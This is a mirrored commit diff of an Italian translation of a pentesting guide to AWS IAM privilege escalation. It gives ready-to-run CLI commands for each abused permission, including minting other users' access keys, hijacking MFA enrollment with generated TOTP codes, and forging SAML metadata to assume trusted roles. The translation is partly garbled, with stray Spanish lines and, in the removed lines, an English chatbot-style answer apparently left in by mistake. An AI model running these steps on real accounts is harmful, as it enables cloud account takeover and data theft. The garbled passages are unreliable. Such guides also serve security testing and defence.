gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-07-28 22:51:09 -07:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat

Browse Source
This commit is contained in:
Translator
2026-05-26 18:09:12 +00:00
parent acde925508
commit ed61566f45
1 changed files with 76 additions and 77 deletions
Download Patch File Download Diff File Expand all files Collapse all files
src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
+76 -77
View File
@@ -4,7 +4,7 @@
## IAM
Per maggiori informazioni su IAM consulta:
Per ulteriori informazioni su IAM consulta:
{{#ref}}
../../aws-services/aws-iam-enum.md
@@ -12,83 +12,102 @@ Per maggiori informazioni su IAM consulta:
### **`iam:CreatePolicyVersion`**
Concede la possibilità di creare una nuova versione di policy IAM, aggirando la necessità del permesso `iam:SetDefaultPolicyVersion` utilizzando il flag `--set-as-default`. Ciò permette di definire permessi personalizzati.
Concede la possibilità di creare una nuova versione di una policy IAM, aggirando la necessità del permesso `iam:SetDefaultPolicyVersion` usando il flag `--set-as-default`. Questo consente di definire permessi personalizzati.
**Exploit Command:**
```bash
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default
```
**Impatto:** Eleva direttamente i privilegi consentendo qualsiasi azione su qualsiasi risorsa.
**Impatto:** Escala direttamente i privilegi consentendo qualsiasi azione su qualsiasi risorsa.
### **`iam:SetDefaultPolicyVersion`**
Consente di cambiare la versione predefinita di una policy IAM con un'altra versione esistente, potenzialmente elevando i privilegi se la nuova versione ha più permessi.
Consente di cambiare la versione predefinita di una policy IAM a un'altra versione esistente, potenzialmente escalando i privilegi se la nuova versione ha più permessi.
**Comando Bash:**
**Bash Command:**
```bash
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
```
**Impatto:** Indiretto privilege escalation abilitando permessi aggiuntivi.
**Impatto:** Escalation di privilegi indiretta abilitando più permessi.
### **`iam:CreateAccessKey`, (`iam:DeleteAccessKey`)**
Consente di creare access key ID e secret access key per un altro utente, portando a una potenziale privilege escalation.
Consente di creare access key ID e secret access key per un altro user, portando a una potenziale escalation di privilegi.
**Exploit:**
```bash
aws iam create-access-key --user-name <target_user>
```
**Impact:** Escalation diretta dei privilegi assumendo i permessi estesi di un altro utente.
**Impatto:** Escalation diretta dei privilegi assumendo le extended permissions di un altro utente.
Nota che un utente può avere solo 2 access keys; quindi, se ne ha già 2, avrai bisogno del permesso `iam:DeleteAccessKey` per eliminarne una e poterne crearne una nuova:
Nota che un utente può avere solo 2 access keys create, quindi se un utente ha già 2 access keys avrai bisogno del permesso `iam:DeleteAccessKey` per eliminarne una e poterne creare una nuova:
```bash
aws iam delete-access-key --access-key-id <key_id>
```
### **`iam:CreateVirtualMFADevice` + `iam:EnableMFADevice`**
Se puoi creare un nuovo dispositivo MFA virtuale e abilitarlo su un altro utente, puoi effettivamente registrare il tuo MFA per quell'utente e poi richiedere una sessione autenticata con MFA usando le sue credenziali.
Se puoi creare un nuovo virtual MFA device e abilitarlo su un altro utente, puoi di fatto registrare il tuo MFA per quell'utente e poi richiedere una sessione con MFA per le sue credenziali.
**Prerequisites:**
Puoi usare qualsiasi tool tu voglia per i codici TOTP - oathtool è semplice e leggero.
```bash
sudo apt install oathtool
sudo dnf install oathtool
sudo yum install oathtool
```
**Exploit:**
```bash
# Create a virtual MFA device (this returns the serial and the base32 seed)
aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>
aws iam create-virtual-mfa-device --virtual-mfa-device-name <name-the-device> \
--bootstrap-method Base32StringSeed --outfile /path/to/save/mfa-seed.txt
# Generate 2 consecutive TOTP codes from the seed, then enable it for the user
aws iam enable-mfa-device --user-name <target_user> --serial-number <serial> \
# Generate 2 consecutive TOTP codes from the seed
oathtool --base32 --totp "<Seed_Here>" -w 1
# Enable the new device for the user
aws iam enable-mfa-device --user-name <target_user> --serial-number <device-arn> \
--authentication-code1 <code1> --authentication-code2 <code2>
```
**Impatto:** Escalation diretta dei privilegi prendendo il controllo della registrazione MFA di un utente (e poi usando i suoi permessi).
**Autenticare:**
Una volta ottenuta una sessione di base come utente target, puoi usare il security token service per ottenere un token supportato da MFA.
```bash
aws sts get-session-token --serial-number <device-arn> --token-code <code>
```
**Impatto:** Escalation di privilegio diretta prendendo il controllo dell'enrollment MFA di un utente (e poi usando i suoi permessi).
### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
Consente di creare o aggiornare un login profile, incluso impostare password per l'accesso alla console AWS, causando un'escalation diretta dei privilegi.
Permette di creare o aggiornare un login profile, incluso impostare password per l'accesso alla AWS console, portando a una escalation di privilegio diretta.
**Sfruttamento per la creazione:**
**Exploit for Creation:**
```bash
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
```
**Exploit per l'aggiornamento:**
**Exploit per Update:**
```bash
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
```
**Impatto:** Diretta privilege escalation accedendo come utente "any".
**Impatto:** Escalation diretta dei privilegi effettuando il login come utente "any".
### **`iam:UpdateAccessKey`**
Consente di abilitare una access key disabilitata, il che può portare ad accesso non autorizzato se l'attacker è in possesso della access key disabilitata.
Permette di abilitare una access key disabilitata, portando potenzialmente a un accesso non autorizzato se l'attaccante possiede la chiave disabilitata.
**Exploit:**
```bash
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
```
**Impatto:** Escalation di privilegi diretta riattivando access keys.
**Impatto:** Escalation diretta dei privilegi riattivando access keys.
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
Consente di generare o reimpostare credenziali per specifici servizi AWS (più comunemente **CodeCommit**). Queste **non** sono AWS API keys: sono credenziali **username/password** per un servizio specifico, e puoi usarle solo dove quel servizio le accetta.
Consente di generare o reimpostare credenziali per servizi specifici di AWS (più comunemente **CodeCommit**). Queste **non** sono AWS API keys: sono credenziali **username/password** per un servizio specifico, e puoi usarle solo dove quel servizio le accetta.
**Creazione:**
```bash
@@ -114,37 +133,37 @@ export CLONE_URL="https://git-codecommit.${AWS_REGION}.amazonaws.com/v1/repos/${
git clone "$CLONE_URL"
cd "$REPO_NAME"
```
> Nota: la password del servizio spesso contiene caratteri come `+`, `/` e `=`. Usare il prompt interattivo è solitamente il modo più semplice. Se la incorpori in un URL, effettua prima l'URL-encoding.
> Nota: La password del service spesso contiene caratteri come `+`, `/` e `=`. Usare il prompt interattivo è di solito la cosa più semplice. Se la incorpori in un URL, codificala prima con URL-encode.
A questo punto puoi leggere tutto ciò a cui l'utente target ha accesso in CodeCommit (ad es., un leaked credentials file). Se recuperi **AWS access keys** dal repo, configura un nuovo profilo AWS CLI con quelle chiavi e poi accedi alle risorse (per esempio, leggi una flag da Secrets Manager):
A questo punto puoi leggere tutto ciò a cui l'utente target può accedere in CodeCommit (ad es., un file di credenziali leakato). Se recuperi **AWS access keys** dal repo, configura un nuovo profilo AWS CLI con quelle chiavi e poi accedi alle risorse (per esempio, leggi una flag da Secrets Manager):
```bash
aws secretsmanager get-secret-value --secret-id <secret_name> --profile <new_profile>
```
**Ripristina:**
**Reset:**
```bash
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
```
**Impatto:** Privilege escalation nelle autorizzazioni dell'utente target per il servizio dato (e potenzialmente oltre se effettui pivot usando i dati recuperati da quel servizio).
**Impatto:** Privilege escalation nei permessi dell'utente target per il servizio dato (e potenzialmente oltre se fai pivot usando i dati recuperati da quel servizio).
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
Consente di allegare policy a utenti o gruppi, elevando direttamente i privilegi ereditando i permessi della policy allegata.
Consente di collegare policy a utenti o gruppi, escalating direttamente i privilegi ereditando i permessi della policy collegata.
**Exploit for User:**
```bash
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
```
**Exploit per il Gruppo:**
**Exploit for Group:**
```bash
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
```
**Impatto:** Escalation diretta dei privilegi a qualsiasi cosa la policy conceda.
**Impatto:** Escalatione diretta dei privilegi a qualunque cosa la policy conceda.
### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
Permette di allegare o inserire policy a ruoli, utenti o gruppi, consentendo un'escalation diretta dei privilegi tramite la concessione di permessi aggiuntivi.
Permette di attach o put policy a role, user o group, abilitando l’escalation diretta dei privilegi concedendo permessi aggiuntivi.
**Exploit per ruolo:**
**Exploit for Role:**
```bash
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
```
@@ -172,7 +191,7 @@ Puoi usare una policy come:
]
}
```
**Impatto:** Escalation di privilegi diretta aggiungendo permessi tramite policy.
**Impatto:** Escalation diretta dei privilegi aggiungendo permessi tramite policies.
### **`iam:AddUserToGroup`**
@@ -182,18 +201,18 @@ Consente di aggiungere se stessi a un gruppo IAM, escalando i privilegi ereditan
```bash
aws iam add-user-to-group --group-name <group_name> --user-name <username>
```
**Impatto:** Direct privilege escalation al livello delle autorizzazioni del gruppo.
**Impatto:** Escalation di privilegio diretta al livello dei permessi del gruppo.
### **`iam:UpdateAssumeRolePolicy`**
Consente di modificare l'assume role policy document di un role, permettendo l'assunzione del role e delle autorizzazioni ad esso associate.
Permette di modificare il documento della assume role policy di un role, abilitando l'assunzione del role e dei suoi permessi associati.
**Exploit:**
```bash
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json
```
Quando la policy è la seguente, che concede all'utente il permesso di assumere il ruolo:
Dove la policy appare come segue, che concede all'utente il permesso di assumere il role:
```json
{
"Version": "2012-10-17",
@@ -208,13 +227,13 @@ Quando la policy è la seguente, che concede all'utente il permesso di assumere
]
}
```
**Impatto:** Escalation di privilegi diretta assumendo i permessi di qualsiasi ruolo.
**Impatto:** Escalation di privilegio diretta assumendo i permessi di qualsiasi role.
### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
Permette di caricare una chiave pubblica SSH per autenticarsi a CodeCommit e di disattivare i dispositivi MFA, portando a una potenziale escalation di privilegi indiretta.
Permette di caricare una chiave pubblica SSH per autenticarsi a CodeCommit e di disattivare i device MFA, portando a una possibile escalation di privilegio indiretta.
**Exploit for SSH Key Upload:**
**Exploit per SSH Key Upload:**
```bash
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
```
@@ -222,24 +241,24 @@ aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_
```bash
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
```
**Impatto:** Escalation di privilegi indiretta consentendo l'accesso a CodeCommit o disabilitando la protezione MFA.
**Impatto:** Escalation di privilegio indiretta abilitando l'accesso a CodeCommit o disabilitando la protezione MFA.
### **`iam:ResyncMFADevice`**
Consente la risincronizzazione di un dispositivo MFA, il che può portare a un'escalation di privilegi indiretta manipolando la protezione MFA.
Consente la risincronizzazione di un dispositivo MFA, potenzialmente portando a un'escalation di privilegio indiretta manipolando la protezione MFA.
**Comando Bash:**
**Bash Command:**
```bash
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>
```
**Impatto:** Escalation di privilegi indiretta aggiungendo o manipolando dispositivi MFA.
**Impact:** Escalatione indiretta dei privilegi aggiungendo o manipolando dispositivi MFA.
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
Con questi permessi puoi **modificare i metadata XML della connessione SAML**. Poi potresti abusare della **federazione SAML** per **accedere** con qualsiasi **ruolo che la considera attendibile**.
Con questi permessi puoi **modificare i metadata XML della connessione SAML**. Poi, potresti abusare della **SAML federation** per **effettuare il login** con qualsiasi **role** che si fida di essa.
Nota che eseguendo questa operazione **gli utenti legittimi non saranno in grado di accedere**. Tuttavia, puoi ottenere l'XML, quindi puoi **sostituirlo con il tuo**, **accedere** e ripristinare la configurazione precedente.
Nota che facendo questo **gli utenti legittimi non potranno effettuare il login**. Tuttavia, potresti ottenere l'XML, quindi puoi inserire il tuo, effettuare il login e configurare il back precedente
```bash
# List SAMLs
aws iam list-saml-providers
@@ -257,7 +276,7 @@ aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-prov
```
**Attacco end-to-end:**
1. Enumerare il SAML provider e un ruolo che si fida di esso:
1. Enumera il provider SAML e un role che si fida di esso:
```bash
export AWS_REGION=${AWS_REGION:-us-east-1}
@@ -272,7 +291,7 @@ aws iam list-roles | grep -i saml || true
aws iam get-role --role-name "<ROLE_NAME>"
export ROLE_ARN="arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>"
```
2. Falsificare i metadati IdP + un'asserzione SAML firmata per la coppia role/provider:
2. Forge IdP metadata + una signed SAML assertion per la coppia role/provider:
```bash
python3 -m venv /tmp/saml-federation-venv
source /tmp/saml-federation-venv/bin/activate
@@ -485,7 +504,7 @@ main()
```
</details>
3. Aggiorna i metadata del provider SAML con il tuo certificato IdP, assumi il ruolo e usa le credenziali STS restituite:
3. Aggiorna i metadati del provider SAML con il tuo certificato IdP, assumi il ruolo e usa le credenziali STS restituite:
```bash
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata.xml
@@ -501,7 +520,7 @@ echo "Session expires at: $SESSION_EXP"
AWS_ACCESS_KEY_ID="$SESSION_AK" AWS_SECRET_ACCESS_KEY="$SESSION_SK" AWS_SESSION_TOKEN="$SESSION_ST" AWS_REGION="$AWS_REGION" \
aws sts get-caller-identity
```
4. Pulizia: ripristinare i metadati precedenti:
4. Cleanup: ripristina i metadati precedenti:
```bash
python3 - <<'PY'
import json
@@ -512,11 +531,11 @@ aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata-original.xml
```
> [!WARNING]
> Aggiornare i metadati del provider SAML è dirompente: mentre i metadati sono in vigore, gli utenti SSO legittimi potrebbero non riuscire ad autenticarsi.
> L'aggiornamento dei metadata del provider SAML è disruptive: mentre i metadata sono in uso, gli utenti SSO legittimi potrebbero non riuscire ad autenticarsi.
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
(Non ne sono sicuro) Se un attacker ha queste **permissions** potrebbe aggiungere un nuovo **Thumbprint** riuscendo a effettuare il login in tutti i ruoli che si fidano del provider.
(Non sicuro di questo) Se un attacker ha questi **permissions** potrebbe aggiungere un nuovo **Thumbprint** per riuscire a fare login in tutti i roles che si fidano del provider.
```bash
# List providers
aws iam list-open-id-connect-providers
@@ -527,7 +546,7 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
```
### `iam:PutUserPermissionsBoundary`
Questa permission consente a un attacker di aggiornare il permissions boundary di un utente, potenzialmente escalando i suoi privilegi e permettendogli di eseguire azioni normalmente limitate dalle permissions esistenti.
Questa permission consente a un attacker di aggiornare il permissions boundary di un user, potenzialmente escalando i suoi privilegi e permettendogli di eseguire azioni che normalmente sono ristrette dalle sue permission esistenti.
```bash
aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
@@ -550,14 +569,14 @@ Un ejemplo de una política que no aplica ninguna restricción es:
```
### `iam:PutRolePermissionsBoundary`
Un attore con iam:PutRolePermissionsBoundary può impostare un permissions boundary su un ruolo esistente. Il rischio sorge quando qualcuno con questo permesso modifica il permissions boundary di un ruolo: può limitare indebitamente le operazioni (causando interruzioni del servizio) o, se associa un permissions boundary permissivo, espandere effettivamente ciò che il ruolo può fare e ottenere privilegi elevati.
Un actor con `iam:PutRolePermissionsBoundary` può impostare un permissions boundary su un ruolo esistente. Il rischio sorge quando qualcuno con questo permission modifica il boundary di un ruolo: può restringere impropriamente le operazioni (causando interruzione del servizio) oppure, se associa un boundary permissivo, espandere di fatto ciò che il ruolo può fare ed escalare privilegi.
```bash
aws iam put-role-permissions-boundary \
--role-name <Role_Name> \
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
```
### `iam:CreateVirtualMFADevice`, `iam:EnableMFADevice`, CreateVirtualMFADevice & `sts:GetSessionToken`
L'attaccante crea un dispositivo MFA virtuale sotto il proprio controllo e lo associa all'utente IAM target, sostituendo o eludendo l'MFA originale della vittima. Usando il seed di questo MFA controllato dall'attaccante, genera password monouso valide e richiede un token di sessione autenticato via MFA tramite STS. Questo permette all'attaccante di soddisfare il requisito MFA e ottenere credenziali temporanee come la vittima, completando di fatto il takeover dell'account anche se l'MFA è obbligatorio.
L'attaccante crea un virtual MFA device sotto il proprio controllo e lo collega all'utente IAM target, sostituendo o aggirando il MFA originale della vittima. Usando il seed di questo MFA controllato dall'attaccante, genera valid one-time passwords e richiede un session token autenticato con MFA tramite STS. Questo permette all'attaccante di soddisfare il requisito MFA e ottenere temporary credentials come la vittima, completando di fatto l'account takeover anche se MFA è enforced.
Se l'utente target ha già MFA, disattivalo (`iam:DeactivateMFADevice`):
```bash
@@ -572,7 +591,7 @@ aws iam create-virtual-mfa-device \
--bootstrap-method Base32StringSeed \
--outfile /tmp/mfa-seed.txt
```
Genera due codici TOTP consecutivi dal seed file:
Genera due codici TOTP consecutivi dal file seed:
```python
import base64, hmac, hashlib, struct, time
@@ -592,7 +611,7 @@ now = int(time.time())
print(totp(now))
print(totp(now + 30))
```
Abilita un dispositivo MFA per l'utente di destinazione; sostituisci MFA_SERIAL_ARN, CODE1, CODE2:
Abilita il dispositivo MFA sull'utente target, sostituisci MFA_SERIAL_ARN, CODE1, CODE2:
```bash
aws iam enable-mfa-device \
--user-name TARGET_USER \
@@ -600,27 +619,7 @@ aws iam enable-mfa-device \
--authentication-code1 CODE1 \
--authentication-code2 CODE2
```
I can’t generate a valid STS/MFA token for you without the MFA device’s secret (the Base32 shared key). If you have the secret, you can generate the current TOTP code yourself. Options:
1) oathtool (CLI)
- Install: apt/yum/brew install oathtool
- Command:
oathtool --totp -b "BASE32SECRET"
- Replace BASE32SECRET with your device’s Base32 secret.
2) Python (pyotp)
- Install: pip install pyotp
- Script:
python -c "import pyotp; print(pyotp.TOTP('BASE32SECRET').now())"
3) Use the code to call AWS STS (example)
- After generating the 6-digit code, request session credentials:
aws sts get-session-token --serial-number arn:aws:iam::123456789012:mfa/your-user --token-code 123456
- Replace the ARN and token-code with your values.
Notes:
- Codes are time-based (usually 30s window); ensure your clock is synced (e.g., via NTP).
- Never share your Base32 secret or generated codes publicly.
Genera un current token code (per STS)
```python
import base64, hmac, hashlib, struct, time
@@ -635,13 +634,13 @@ o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
print(f"{code:06d}")
```
Copia il valore stampato come TOKEN_CODE e richiedi un token di sessione con MFA (STS):
Copia il valore stampato come TOKEN_CODE e richiedi un session token con MFA (STS):
```bash
aws sts get-session-token \
--serial-number MFA_SERIAL_ARN \
--token-code TOKEN_CODE
```
## Riferimenti
## References
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)